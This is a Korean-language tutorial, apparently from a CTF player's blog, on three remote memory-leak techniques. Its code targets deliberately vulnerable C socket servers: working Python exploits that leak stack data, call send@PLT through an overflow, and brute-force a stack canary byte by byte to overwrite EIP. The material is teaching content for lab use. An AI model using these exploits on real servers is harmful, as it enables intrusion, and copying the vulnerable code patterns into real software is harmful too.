MEMORY LEAK TECHNIQUES

written by cd80@LeaveRet

로컬 익스플로잇을 할 경우엔 메모리 릭이 필요한 경우가 많은 편은 아니지만
리모트 익스플로잇을 할 경우 서버의 환경, 프로세스 메모리 정보등을 알아 올 수 없기 때문에
메모리 릭을 통해 알아오면 익스플로잇을 좀더 편하게 할 수 있다

이 메모리 릭이란걸 처음 접했을땐 메모리에 대한 이해도가 높지 않아 어렵게 느껴졌었는데
이에 대해 설명한 문서를 찾기가 너무 힘들었다

이 문서는 아주 간단한 형태의 메모리 릭을 설명 해 메모리릭이 뭔지에 대한 이해를 돕고자
하는 목적으로 작성되었다

설명하는 기법은 모두 리모트환경에서 테스트했으며 로컬에서 쉽게 적용시킬 수 있다

이 문서에서 다룰 메모리 릭 기법은 총 세가지이다
1. 변수와 변수가 널바이트 없이 이어져 문자열 출력함수에서 이어진 변수를 모두 출력함
2. ROP 기법으로 메모리를 읽어 출력함
3. 프로그램의 작동으로 값 판단

1,2번 방법은 대회문제를 풀어보면서 알게된 방법이고
3번은 친구한테 들은 방법이다

그럼 먼저 1번을 보겠다

아래 소스를 gcc -o ./server ./server.c -fno-stack-protector -O0 으로 컴파일해주면 된다

```
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <time.h>

main(){
        char secretmessage[] = "You leaked my memory!";
        char buf[256];
        char msg[1024];
```

```
        int serverfd, clientfd;
        int pid;
        struct sockaddr_in server, client;

        serverfd = socket(AF_INET, SOCK_STREAM, 0);
        memset(&server, 0, sizeof(server));

        server.sin_family = AF_INET;
        server.sin_addr.s_addr = htonl(INADDR_ANY);
        server.sin_port = htons(1234);

        bind(serverfd, (struct sockaddr*)&server, sizeof(server));

        listen(serverfd, 10);

        while(1){
                clientfd = accept(serverfd, 0, 0);
                pid = fork();
                if(!pid){
                        memset(buf, 0, sizeof(buf));
                        memset(msg, 0, sizeof(msg));
                        send(clientfd, "MSG: ", 6, 0);
                        recv(clientfd, buf, 256, 0);
                        snprintf(msg, 300, "%s", buf);
                        send(clientfd, msg, strlen(msg), 0);
                }
                else{
                        close(clientfd);
                }
        }
        close(serverfd);
        return 0;
}
```

소스에 대한 해설은 굳이 하지 않겠다

한 터미널에서 서버를 실행시키고 한 터미널에서 접속을 해보자

```
root@ubuntu:/home/exploit/memoryleak# nc localhost 1234
MSG: TESTTEST
TESTTEST
```

접속을해보면 MSG: 가 뜨고 문자열을 입력하면 똑같이 에코되어 나온다
지금 하고있는 메모리릭은

1. 변수와 변수가 널바이트 없이 이어져 문자열 출력함수에서 이어진 변수를 모두 출력함
이 방법이다
buf는

```
size_t v0; // eax@3
int v1; // [sp+2Ch] [bp-534h]@1
uint32_t v2; // [sp+30h] [bp-530h]@1
__int16 v3; // [sp+3Eh] [bp-522h]@3
__int16 buf; // [sp+43Eh] [bp-122h]@3
signed int v5; // [sp+53Eh] [bp-22h]@1
signed int v6; // [sp+542h] [bp-1Eh]@1
signed int v7; // [sp+546h] [bp-1Ah]@1
signed int v8; // [sp+54Ah] [bp-16h]@1
signed int v9; // [sp+54Eh] [bp-12h]@1
signed __int16 v10; // [sp+552h] [bp-Eh]@1
__pid_t v11; // [sp+554h] [bp-Ch]@2
int v12; // [sp+558h] [bp-8h]@2
int v13; // [sp+55Ch] [bp-4h]@1
```

ida에서 본 변수 배치이다
다섯번째 줄에 buf가 있고 그 아래는 secretmessage변수의 내용이 4바이트단위로 잘려서
들어간다
buf는 bp-0x122에 있고 v5(secretmessage)는 ebp-0x22에 있다
두개의 거리는 0x100이고 이는 십진수로 256이다
근데 우리는 recv에서 0x100만큼을 넣어줄 수 있고
이는 buf와 v5사이를 꽉 채우는 크기이다

buf에 A를 256개 입력하면
snprintf에서 복사될때 %s 포맷스트링을 이용해 복사했으므로 널바이트를 만날때까지
복사하는데
recv함수는 데이터를 받으면 그 뒤에 널바이트를 넣는등의 동작을 하지 않기 때문에
secretmessage변수의 널바이트를 만날때까지 snprintf함수가 실행되게 된다

그렇게 되면 msg에 buf와 secretmessage, 두개 변수의 내용이 모두 들어가게 되는것이다

```
root@ubuntu:/home/exploit/memoryleak# nc localhost 1234
MSG:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYo
```

memory!

굵게 표시한 부분이 서버에서 응답한 내용이다
우리가 입력한 “A”*256 뿐만 아니라 뒤의 secretmessage내용까지 보낸것을 알 수 있다
실제로 대회문제에서 이런식으로 값을 가져올수 있는 문제들이 있었다
(http://cd80.tistory.com/39 참고)

2번북마크2번북마크2번북마크2번북마크2번북마크2번북마크2번북마크2번북마크2번북마크2번북마크2번북마크2번북마크
(문서를 한번에 보지 않고 나눠서 볼 경우 2번북마크를 검색해 찾으시면 됩니다)

이제 해볼 내용은 ROP를 이용해 값을 얻어오는 것이다
ROP를 이용하기 때문에 프로그램에 오버플로우 취약점이 있어야 하고
esp가 유저컨트롤가능한 데이터를 가르켜야 한다

위의 소스를 약간만 수정해 다시 쓰겠다

아래는 수정된 서버 소스이다. (main에서 입력을 받으려고 했는데 ret 명령을 컴파일러에서 안만들어줘서 함수를 만들어 처리했다)
컴파일은 똑같이
gcc -o server server.c -fno-stack-protector -O0 으로 하면 된다

```
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <time.h>

void process(int sockfd);
main(){
        int serverfd, clientfd;
        int pid;
        struct sockaddr_in server, client;

        serverfd = socket(AF_INET, SOCK_STREAM, 0);
        memset(&server, 0, sizeof(server));
```

```
        server.sin_family = AF_INET;
        server.sin_addr.s_addr = htonl(INADDR_ANY);
        server.sin_port = htons(1234);

        bind(serverfd, (struct sockaddr*)&server, sizeof(server));

        listen(serverfd, 10);

        while(1){
                clientfd = accept(serverfd, 0, 0);
                pid = fork();
                if(!pid){
                        process(clientfd);
                }
                else{
                        close(clientfd);
                }
        }
        close(serverfd);
        return 0;
}

void process(int sockfd){
        char buf[256];
        send(sockfd, "MSG: ", 6, 0);
        recv(sockfd, buf, 512, 0);
}
```

서버를 strace -if ./server 로 실행하고

```
root@ubuntu:/home/exploit/memoryleak# cat exp.py
#!/usr/bin/env python
from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 1234))

s.recv(32)
s.send("A"*512)
s.close()
root@ubuntu:/home/exploit/memoryleak#
```

파이썬 코드를 만들어 서버로 데이터를 보내 줬다

Terminal 1

```
root@ubuntu:/home/exploit/memoryleak# ./exp.py
root@ubuntu:/home/exploit/memoryleak#
```

Terminal 2

```
root@ubuntu:/home/exploit/memoryleak# strace -if ./server
[b76e1424] execve("./server", ["./server"], [/* 19 vars */]) = 0
[b77e9244] brk(0)                       = 0x80dd000
[b77eaf91] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[b77eb043] mmap2(NULL, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77d0000
[b77eaf91] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[b77eae64] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
[b77eaded] fstat64(3, {st_mode=S_IFREG|0644, st_size=31487, ...}) = 0
[b77eb043] mmap2(NULL, 31487, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77c8000
[b77eae9d] close(3)                     = 0
[b77eaf91] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[b77eae64] open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
[b77eaed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220\232\1\0004\0\0\0"...,
512) = 512
[b77eaded] fstat64(3, {st_mode=S_IFREG|0755, st_size=1775080, ...}) = 0
[b77eb043] mmap2(NULL, 1784604, PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7614000
[b77eb043] mmap2(0xb77c2000, 12288, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1ae) = 0xb77c2000
[b77eb043] mmap2(0xb77c5000, 11036, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb77c5000
[b77eae9d] close(3)                     = 0
[b77eb043] mmap2(NULL, 4096, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7613000
[b77d3d41] set_thread_area({entry_number:-1 -> 6, base_addr:0xb7613900, limit:1048575,
seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1})
0
[b77eb0c4] mprotect(0xb77c2000, 8192, PROT_READ) = 0
[b77eb0c4] mprotect(0x8049000, 4096, PROT_READ) = 0
[b77eb0c4] mprotect(0xb77f3000, 4096, PROT_READ) = 0
[b77eb081] munmap(0xb77c8000, 31487)    = 0
[b77d2424] socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
[b77d2424] bind(3, {sa_family=AF_INET, sin_port=htons(1234),
sin_addr=inet_addr("0.0.0.0")}, 16) = 0
[b77d2424] listen(3, 10)                = 0
[b77d2424] accept(3, 0, NULL)           = 4
[b77d2424] clone(Process 1532 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
```

```
child_tidptr=0xb7613968) = 1532
[pid  1530] [b77d2424] close(4)         = 0
[pid  1530] [b77d2424] accept(3,  <unfinished ...>
[pid  1532] [b77d2424] send(4, "MSG: \0", 6, 0) = 6
[pid  1532] [b77d2424] recv(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 512, 0) =
[pid  1532] [41414141] --- SIGSEGV (Segmentation fault) @ 0 (0) ---
Process 1532 detached
[b77d2424] <... accept resumed> 0, NULL) = ? ERESTARTSYS (To be restarted)
[b77d2424] --- SIGCHLD (Child exited) @ 0 (0) ---
[b77d2424] accept(3,
```

원래 strace는 시스템콜을 트레이스할때 사용하지만
동적으로 eip가 변경된걸 알기위해 사용할 때도 유용하다
eip가 0x41414141로 변조된 것을 알 수 있다 (굵게 표시)

PLT에 있는 send함수를 사용해 메모리 내용을 알아와 보겠다
바이너리에 있는 임의의 문자열을 읽어보겠다

```
root@ubuntu:/home/exploit/memoryleak# objdump -s ./server | grep GNU
 8048168 04000000 10000000 01000000 474e5500  ............GNU.
 8048188 04000000 14000000 03000000 474e5500  ............GNU.
root@ubuntu:/home/exploit/memoryleak#
```

0x8048174의 내용을 읽으면 서버에서 GNU란 문자열을 보내올 것이다

```
ssize_t __cdecl process(int fd)
{
  char buf; // [sp+10h] [bp-108h]@1

  send(fd, "MSG: ", 6u, 0);
  return recv(fd, &buf, 0x200u, 0);
}
```

buf는 ebp-0x108에 위치하므로
페이로드는
0x108 + sfp(4) + ret(4)가 된다
따라서 0x10c의 dummy를 넣어주고 rop 페이로드를 작성해보겠다 (사실 여기서 사용하는건 rop라고 하긴 좀 애매하다)

페이로드는 다음과 같다
[buf 0x108] [sfp 4] [send] [dummy] [sockfd] [buf (&"GNU")] [size(4)] [0]

```
root@ubuntu:/home/exploit/memoryleak# cat exp.py
#!/usr/bin/env python
from socket import *
from struct import pack

p = lambda x : pack("<L", x)

s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 1234))

s.recv(32)

payload = "A"*0x10c
payload += p(0x80484f0) # send@PLT
payload += "AAAA"
payload += p(4) # sockfd
payload += p(0x8048174) # &"GNU"
payload += p(4) # strlen("GNU")
payload += p(0) # flag for send()

s.send(payload)

print "[*] Received: %s"%s.recv(4)
s.close()
root@ubuntu:/home/exploit/memoryleak#
```

위는 최종적으로 작성한 메모리 릭 코드이다

```
root@ubuntu:/home/exploit/memoryleak# ./exp.py
[*] Received: GNU
root@ubuntu:/home/exploit/memoryleak#
```

실제 대회에 적용한 예제이다 - http://cd80.tistory.com/37

3번북마크3번북마크3번북마크3번북마크3번북마크3번북마크3번북마크3번북마크3번북마크3번북마크3번북마크

이번에 할 내용은 프로그램의 동작에 영향을 주는 값을 알아낼 때 사용할 수 있는 방법이다
대표적인 예로 SSP가 버퍼 오버플로우를 탐지할 때 쓰는 stack canary가 있다
이 예제는 소켓프로그램에서 클라이언트를 핸들링할 때 항상 fork로 복제해 자식프로세스의 메모리가 항상 같은점을 이용한다
이 기법은 1tchy한테 배운 기법이다 (http://1tchy.tistory.com/)

코드를 또 좀만 수정해보겠다
이번엔 -fno-stack-protector 옵션 없이
gcc -o server server.c -O0 으로 컴파일한다

```
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <time.h>

void process(int sockfd);
main(){
        int serverfd, clientfd;
        int pid;
        struct sockaddr_in server, client;

        serverfd = socket(AF_INET, SOCK_STREAM, 0);
        memset(&server, 0, sizeof(server));

        server.sin_family = AF_INET;
        server.sin_addr.s_addr = htonl(INADDR_ANY);
        server.sin_port = htons(1234);

        bind(serverfd, (struct sockaddr*)&server, sizeof(server));

        listen(serverfd, 10);

        while(1){
                clientfd = accept(serverfd, 0, 0);
                pid = fork();
                if(!pid){
                        process(clientfd);
                        send(clientfd, "BYE", 4, 0);
                }
                else{
                        close(clientfd);
                }
        }
        close(serverfd);
        return 0;
}
```

```
void process(int sockfd){
        char buf[256];
        send(sockfd, "MSG: ", 6, 0);
        recv(sockfd, buf, 512, 0);
}
```

아래는 IDA로 process함수를 헥스레이 한 소스이다

```
int __cdecl process(int fd)
{
  int result; // eax@1
  char buf; // [sp+1Ch] [bp-10Ch]@1
  int v3; // [sp+11Ch] [bp-Ch]@1

  v3 = *MK_FP(__GS__, 20);
  send(fd, "MSG: ", 6u, 0);
  recv(fd, &buf, 0x200u, 0);
  result = *MK_FP(__GS__, 20) ^ v3;
  if ( *MK_FP(__GS__, 20) != v3 )
    __stack_chk_fail();
  return result;
}
```

v3 엔 stack canary가 들어가 있고
send와 recv 이후에 canary가 변조되었는지 여부를 판별한다
하지만 이 함수는 항상 fork에 의해 실행되기 때문에 항상 같은 메모리를 갖고, 항상 같은 카나리를 갖는다
따라서 카나리를 브루트포싱하는것이 가능하다
카나리를 브루트포싱하는건 0x00000000 ~ 0xffffffff을 다 브루트포싱하는것이 아니라
0x00000000 ~ 0x000000ff 까지 브루트포싱하면서 최하위 바이트값을 찾아내고
예를들어 그 값이 80이라고 한다면
0x00000080 ~ 0x0000ff80 까지 브루트포싱해 다음 바이트를 알아내는식으로 반복한다

바이트를 찾아내는건 “BYE” 가 출력되는것을 기준으로 한다.
잘못된 바이트라면 BYE가 출력되지 않고 SSP가 실행될 것이고
옳은 바이트라면 BYE가 출력되고 정상 실행될 것이다

카나리를 알아내는 코드를 간단히 보여주겠다

```
root@ubuntu:/home/exploit/memoryleak# cat exp.py
#!/usr/bin/env python
from socket import *
```

```
from struct import pack
from time import sleep

p = lambda x : pack("<L", x)

def conn():
	s = socket(AF_INET, SOCK_STREAM)
	s.connect(("127.0.0.1", 1234))
	return s

first = second = third = fourth = 0x00

for first in range(0x00, 0xff):
	s = conn()
	s.recv(32)
	s.send("A"*0x100 + chr(first))
	if s.recv(32).find("BYE") != -1:
		print "[*] Found first byte: 0x%02x"%first
		s.close()
		break
for second in range(0x00, 0xff):
	s = conn()
	s.recv(32)
	s.send("A"*0x100 + chr(first) + chr(second))
	if s.recv(32).find("BYE") != -1:
		print "[*] Found second byte: 0x%02x"%second
		s.close()
		break
for third in range(0x00, 0xff):
	s = conn()
	s.recv(32)
	s.send("A"*0x100 + chr(first) + chr(second) + chr(third))
	if s.recv(32).find("BYE") != -1:
		print "[*] Found third byte: 0x%02x"%third
		s.close()
		break
for fourth in range(0x00, 0xff):
	s = conn()
	s.recv(32)
	s.send("A"*0x100 + chr(first) + chr(second) + chr(third) + chr(fourth))
	if s.recv(32).find("BYE") != -1:
		print "[*] Found fourth byte: 0x%02x"%fourth
		s.close()
		break

print "[*] Canary: 0x%08x"%((fourth*0x1000000) + (third*0x10000) + (second*0x100) + first)
```

```
root@ubuntu:/home/exploit/memoryleak#
```

코드가 어려운 정도는 아니라 굳이 설명하진 않겠다

아래는 위 파이썬 코드를 실행 한 결과이다

```
root@ubuntu:/home/exploit/memoryleak# ./exp.py
[*] Found first byte: 0x00
[*] Found second byte: 0x88
[*] Found third byte: 0x5a
[*] Found fourth byte: 0x24
[*] Canary: 0x245a8800
root@ubuntu:/home/exploit/memoryleak#
```

카나리를 성공적으로 얻어온것을 알 수 있고
이 카나리값이 맞다면 카나리 위치에 이 값을 넣고 A를 몇개 채워주면 eip가 0x41414141로 변조될것이다

```
root@ubuntu:/home/exploit/memoryleak# cat attack.py
#!/usr/bin/env python
from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 1234))
s.recv(32)

s.send("A"*0x100 + "\x00\x88\x5a\x24" + "A"*32)
s.close()
root@ubuntu:/home/exploit/memoryleak#./attack.py
root@ubuntu:/home/exploit/memoryleak#
```

```
//윗내용은 생략
[pid  3431] [b77b1424] <... accept resumed> 0, NULL) = 7
[pid  3431] [b77b1424] clone(Process 3557 attached
```

```
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
child_tidptr=0xb75f2968) = 3557
[pid  3431] [b77b1424] close(7)         = 0
[pid  3431] [b77b1424] accept(4,  <unfinished ...>
[pid  3557] [b77b1424] send(7, "MSG: \0", 6, 0) = 6
[pid  3557] [b77b1424] recv(7, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 512, 0) =
[pid  3557] [41414141] --- SIGSEGV (Segmentation fault) @ 0 (0) ---
Process 3557 detached
[pid  3431] [b77b1424] <... accept resumed> 0, NULL) = ? ERESTARTSYS (To be restarted)
[pid  3431] [b77b1424] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid  3431] [b77b1424] accept(4,
```

eip를 성공적으로 변조했다